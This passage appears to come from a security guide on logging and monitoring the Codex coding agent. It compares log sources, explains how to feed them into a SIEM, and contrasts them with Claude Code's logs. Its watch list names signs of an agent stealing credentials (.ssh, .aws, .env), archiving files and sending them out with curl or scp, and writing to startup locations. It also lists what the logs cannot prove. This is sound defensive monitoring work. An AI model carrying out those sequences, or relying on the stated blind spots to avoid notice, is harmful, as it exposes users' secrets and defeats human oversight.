- Tool status but not tool output for general tools; approvals only for Codex Cloud.
| Source | Pros | Cons | Send to SIEM? |
|---|---|---|---|
Compliance CODEX_LOG |
Central prompts, responses, and tool input; explicit IDs; no endpoint setup | Eligible workspaces only; delayed; 30-day expiry; no general tool output | Yes, first if eligible |
| OpenTelemetry | Live; approval decisions and failures; standard protocol | Off by default; no full commands; output snippets only; set per user in config.toml |
Yes |
| Local transcript | Full commands, full output, turn settings, interrupted turns | On each laptop; editable; no published schema | On demand during investigations |
| Prompt history | Quick index of what users typed | Prompts only, on each laptop | No |
| Desktop logs | Explain app and connection problems | Little about what the agent did | No |
A setup you can copy
- If your workspace is eligible, follow the Compliance Logs Platform guide and schedule a job that lists new
CODEX_LOGfiles and downloads each one into your SIEM or data lake. Keep the raw JSONL with its file ID and download time, and de-duplicate onevent_id. Run it often enough that no file reaches its 30-day expiry. - Turn on OTel in each user’s
~/.codex/config.tomlwith your collector endpoint, and setlog_user_prompt = trueif your policy allows prompt text in the SIEM. IfCODEX_LOGis not available to you, OTel is your only central source, so record what it does not capture. - For an investigation, copy the session JSONL from the user’s machine and read it alongside the central events for the same user and time.
- Confirm effects elsewhere: A tool result tells you what Codex saw. Endpoint, Git, identity, proxy, and SaaS logs tell you what actually changed.
What to watch first
- Credential paths in tool input:
tool_inputcontaining.ssh,.aws,.env, or keychain tools, especially outside the repository named in the prompt. - Archive then network transfer: a
tarorzipcall followed bycurl,scp, or similar in the same session. - Writes to startup locations: paths such as
~/Library/LaunchAgentsin tool input. - Rising denials or failures: spikes in
codex.tool_decisiondenials orcodex.tool_resultfailures for one user.
None of these proves bad intent. Migrations, incident response, and admin work produce similar sequences. They tell you where to look.
What these logs cannot tell you
Can answer What the records observed
- Which session and user turn surrounded an action?
- Which tool was called, with which arguments?
- What output or failure came back?
- Which working directory and workspace roots were configured?
- What sandbox and approval posture applied?
- Did the task complete, abort, or change settings?
Cannot prove What happened everywhere else
- Every operating-system action was captured.
- A recorded command caused every later host change.
- A successful tool result was benign.
- A missing event means an action did not occur.
- Schemas and field meanings will stay stable across versions.
How this compares with Claude Code
Both agents offer a local transcript, opt-in OTel, and a central compliance feed, but the details differ:
| Codex | Claude Code | |
|---|---|---|
| Local transcript | ~/.codex/sessions/.../*.jsonl, tool arguments as a JSON string |
~/.claude/projects/.../*.jsonl, tool input as a JSON object |
| OTel | [otel] block in config.toml; prompt text gated |
Environment variables or managed settings; content gated per class |
| Approval decisions | OTel codex.tool_decision; Compliance TOOL_DECISION for Codex Cloud |
OTel tool_decision with source |
| Central compliance feed | Ten-minute JSONL files of CODEX_LOG events; tool status, not full output |
Per-session API with ordered messages and text tool results, truncated at 10,000 bytes by default |
| Join keys | session_id, turn_id, call_id |
session.id, prompt.id, tool_use_id |
The Claude Code logging guide walks through each Claude Code source in the same way.